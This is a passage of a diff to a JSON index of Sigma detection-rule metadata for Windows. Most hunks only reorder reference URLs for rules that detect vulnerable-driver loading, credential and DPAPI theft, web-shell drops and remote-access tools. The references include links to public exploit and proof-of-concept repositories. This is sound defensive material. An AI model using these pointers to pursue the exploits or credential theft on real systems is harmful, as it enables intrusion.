"https://github.com/trustedsec/SysmonCommunityGuide/blob/adcdfee20999f422b974c8d4149bf4c361237db7/chapters/file-stream-creation-hash.md" ], "tags": [ "attack.defense_evasion", @@ -20784,10 +20782,10 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution", "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_remote_access_software_domains.yml" ], "tags": [ @@ -20811,8 +20809,8 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_anonymfiles_com.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_anonymfiles_com.yml", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte" ], "tags": [ "attack.exfiltration", @@ -20860,8 +20858,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/notwhickey/status/1333900137232523264", - "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_lobas_appinstaller.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_lobas_appinstaller.yml", + "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/" ], "tags": [ "attack.command_and_control", @@ -20884,9 +20882,9 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mal_cobaltstrike.yml", "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", - "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mal_cobaltstrike.yml" + "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/" ], "tags": [ "attack.command_and_control", @@ -20955,9 +20953,9 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml", "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml" + "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/" ], "tags": [ "attack.execution", @@ -20982,9 +20980,9 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ipify.yml", "https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon", - "https://twitter.com/neonprimetime/status/1436376497980428318", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_ipify.yml" + "https://twitter.com/neonprimetime/status/1436376497980428318" ], "tags": [ "attack.reconnaissance", @@ -21032,8 +21030,8 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ - "https://www.teamviewer.com/en-us/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_teamviewer.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_teamviewer.yml", + "https://www.teamviewer.com/en-us/" ], "tags": [ "attack.command_and_control", @@ -21056,8 +21054,8 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ - "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_tor_onion.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_tor_onion.yml", + "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/" ], "tags": [ "attack.command_and_control", @@ -21161,8 +21159,8 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_powershell_script_installed_as_service.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_powershell_script_installed_as_service.yml", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse" ], "tags": [ "attack.execution", @@ -21209,8 +21207,8 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_avast_anti_rootkit_driver.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_avast_anti_rootkit_driver.yml", + "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/" ], "tags": [ "attack.privilege_escalation", @@ -21233,8 +21231,8 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_dell_driver.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_dell_driver.yml", + "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/" ], "tags": [ "attack.privilege_escalation", @@ -21258,23 +21256,23 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ + "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/DRIVER7.md", + "https://github.com/jbaines-r7/dellicious", + "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", + "https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part", + "https://github.com/CaledoniaProject/drivers-binaries", + "https://www.unknowncheats.me/forum/downloads.php?do=file&id=21780", + "https://github.com/tandasat/ExploitCapcom", + "https://github.com/stong/CVE-2020-15368", + "https://github.com/namazso/physmem_drivers", "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", - "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", - "https://github.com/jbaines-r7/dellicious", - "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", - "https://github.com/namazso/physmem_drivers", - "https://github.com/stong/CVE-2020-15368", - "https://github.com/CaledoniaProject/drivers-binaries", - "https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html", - "https://github.com/tandasat/ExploitCapcom", - "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md", - "https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/DRIVER7.md", - "https://www.unknowncheats.me/forum/downloads.php?do=file&id=21780", - "https://www.rapid7.com/db/modules/exploit/windows/local/razer_zwopenprocess/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers.yml", "https://www.unknowncheats.me/forum/downloads.php?do=file&id=25444", - "https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers.yml" + "https://www.rapid7.com/db/modules/exploit/windows/local/razer_zwopenprocess/", + "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", + "https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html" ], "tags": [ "attack.privilege_escalation", @@ -21298,19 +21296,19 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", - "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://github.com/jbaines-r7/dellicious", "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md", - "https://github.com/namazso/physmem_drivers", - "https://github.com/stong/CVE-2020-15368", "https://github.com/CaledoniaProject/drivers-binaries", - "https://github.com/Chigusa0w0/AsusDriversPrivEscala", - "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", - "https://eclypsium.com/2019/11/12/mother-of-all-drivers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers_names.yml", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-37969", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_drivers_names.yml" + "https://github.com/Chigusa0w0/AsusDriversPrivEscala", + "https://github.com/stong/CVE-2020-15368", + "https://github.com/namazso/physmem_drivers", + "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", + "https://eclypsium.com/2019/11/12/mother-of-all-drivers/", + "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/" ], "tags": [ "attack.privilege_escalation", @@ -21333,12 +21331,12 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b", - "https://twitter.com/malmoeb/status/1551449425842786306", - "https://github.com/fengjixuchui/gdrv-loader", "https://www.virustotal.com/gui/file/31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427/details", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_gigabyte_driver.yml", + "https://github.com/fengjixuchui/gdrv-loader", "https://www.virustotal.com/gui/file/cfc5c585dd4e592dd1a08887ded28b92d9a5820587b6f4f8fa4f56d60289259b/details", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_gigabyte_driver.yml" + "https://medium.com/@fsx30/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b", + "https://twitter.com/malmoeb/status/1551449425842786306" ], "tags": [ "attack.privilege_escalation", @@ -21386,8 +21384,8 @@ "logsource.product": "windows", "refs": [ "https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/", - "https://www.virustotal.com/gui/file/6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5/details", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_hw_driver.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_hw_driver.yml", + "https://www.virustotal.com/gui/file/6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5/details" ], "tags": [ "attack.privilege_escalation", @@ -21410,9 +21408,9 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://support.lenovo.com/de/en/product_security/ps500533-lenovo-diagnostics-vulnerabilities", "https://github.com/alfarom256/CVE-2022-3699/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_lenovo_driver.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_vuln_lenovo_driver.yml", + "https://support.lenovo.com/de/en/product_security/ps500533-lenovo-diagnostics-vulnerabilities" ], "tags": [ "attack.privilege_escalation", @@ -21461,8 +21459,8 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://reqrypt.org/windivert-doc.html", "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", + "https://reqrypt.org/windivert-doc.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_windivert.yml" ], "tags": [ @@ -21491,9 +21489,9 @@ "logsource.category": "file_access", "logsource.product": "windows", "refs": [ - "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users", "https://github.com/lclevy/firepwd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_stealing.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_browser_credential_stealing.yml", + "https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users" ], "tags": [ "attack.t1003", @@ -21517,8 +21515,8 @@ "logsource.product": "windows", "refs": [ "https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_credential_manager_stealing.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_credential_manager_stealing.yml", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/" ], "tags": [ "attack.t1003", @@ -21541,9 +21539,9 @@ "logsource.category": "file_access", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20181130065817/http://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/", "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_dpapi_master_key_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_dpapi_master_key_access.yml", + "https://web.archive.org/web/20181130065817/http://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/" ], "tags": [ "attack.credential_access", @@ -21566,9 +21564,9 @@ "logsource.category": "file_access", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml", "https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist", - "https://www.passcape.com/windows_password_recovery_dpapi_credhist", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml" + "https://www.passcape.com/windows_password_recovery_dpapi_credhist" ], "tags": [ "attack.credential_access", @@ -21615,8 +21613,8 @@ "logsource.category": "file_change", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml", + "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html" ], "tags": [ "attack.initial_access", @@ -21639,8 +21637,8 @@ "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ - "https://github.com/hhlxf/PrintNightmare", "https://github.com/cube0x0/CVE-2021-1675", + "https://github.com/hhlxf/PrintNightmare", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_cve_2021_1675_printspooler_del.yml" ], "tags": [ @@ -21667,8 +21665,8 @@ "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_appli_log.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_appli_log.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md" ], "tags": [ "attack.defense_evasion", @@ -21691,8 +21689,8 @@ "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-6---windows---delete-backup-files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_backup_file.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_backup_file.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-6---windows---delete-backup-files" ], "tags": [ "attack.impact", @@ -21762,9 +21760,9 @@ "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/9", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_sysinternals_sdelete_file_deletion.yml", "https://threathunterplaybook.com/evals/apt29/detections/4.B.4_83D62033-105A-4A02-8B75-DAB52D8D51EC.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_sysinternals_sdelete_file_deletion.yml" + "https://github.com/OTRF/detection-hackathon-apt29/issues/9" ], "tags": [ "attack.defense_evasion", @@ -21787,8 +21785,8 @@ "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_unusual_deletion_by_dns_exe.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_unusual_deletion_by_dns_exe.yml", + "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html" ], "tags": [ "attack.initial_access", @@ -21812,8 +21810,8 @@ "logsource.category": "file_delete", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/webserver-access-logs-deleted.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_webserver_access_logs_deleted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_webserver_access_logs_deleted.yml", + "https://www.elastic.co/guide/en/security/current/webserver-access-logs-deleted.html" ], "tags": [ "attack.defense_evasion", @@ -21836,9 +21834,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_teams.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_teams.yml", + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/" ], "tags": [ "attack.credential_access", @@ -21886,11 +21884,11 @@ "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml", "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml" + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer" ], "tags": [ "attack.discovery", @@ -21983,8 +21981,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound--data-collection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_bloodhound_collection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_bloodhound_collection.yml", + "https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound--data-collection" ], "tags": [ "attack.discovery", @@ -22013,8 +22011,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_crackmapexec_patterns.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_crackmapexec_patterns.yml", + "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass" ], "tags": [ "attack.credential_access", @@ -22109,8 +22107,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.009/T1574.009.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_unquoted_service_path.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_unquoted_service_path.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.009/T1574.009.md" ], "tags": [ "attack.persistence", @@ -22182,8 +22180,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.004/T1027.004.md#atomic-test-2---dynamic-c-compile", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csharp_compile_artefact.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csharp_compile_artefact.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.004/T1027.004.md#atomic-test-2---dynamic-c-compile" ], "tags": [ "attack.defense_evasion", @@ -22206,10 +22204,10 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/hhlxf/PrintNightmare", - "https://github.com/afwu/PrintNightmare", "https://github.com/cube0x0/CVE-2021-1675", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_1675_printspooler.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_1675_printspooler.yml", + "https://github.com/afwu/PrintNightmare", + "https://github.com/hhlxf/PrintNightmare" ], "tags": [ "attack.execution", @@ -22290,8 +22288,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/klinix5/InstallerFileTakeOver", - "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_41379_msi_lpe.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_41379_msi_lpe.yml", + "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/" ], "tags": [ "attack.privilege_escalation", @@ -22339,8 +22337,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.rapid7.com/blog/post/2022/04/12/cve-2022-24527-microsoft-connected-cache-local-privilege-escalation-fixed/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2022_24527_lpe.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2022_24527_lpe.yml", + "https://www.rapid7.com/blog/post/2022/04/12/cve-2022-24527-microsoft-connected-cache-local-privilege-escalation-fixed/" ], "tags": [ "attack.privilege_escalation", @@ -22364,8 +22362,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_detect_powerup_dllhijacking.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_detect_powerup_dllhijacking.yml", + "https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/" ], "tags": [ "attack.persistence", @@ -22390,9 +22388,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml", "https://twitter.com/cyb3rops/status/1552932770464292864", - "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml" + "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows" ], "tags": [ "attack.persistence", @@ -22417,9 +22415,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_error_handler_cmd_persistence.yml", "https://github.com/last-byte/PersistenceSniper", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_error_handler_cmd_persistence.yml" + "https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/" ], "tags": [ "attack.persistence" @@ -22443,8 +22441,8 @@ "refs": [ "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", - "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop.yml", + "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html" ], "tags": [ "attack.persistence", @@ -22468,9 +22466,9 @@ "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop_suspicious.yml", "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", - "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop_suspicious.yml" + "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html" ], "tags": [ "attack.persistence", @@ -22495,9 +22493,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/GhostPack/SafetyKatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ghostpack_safetykatz.yml", "https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63", - 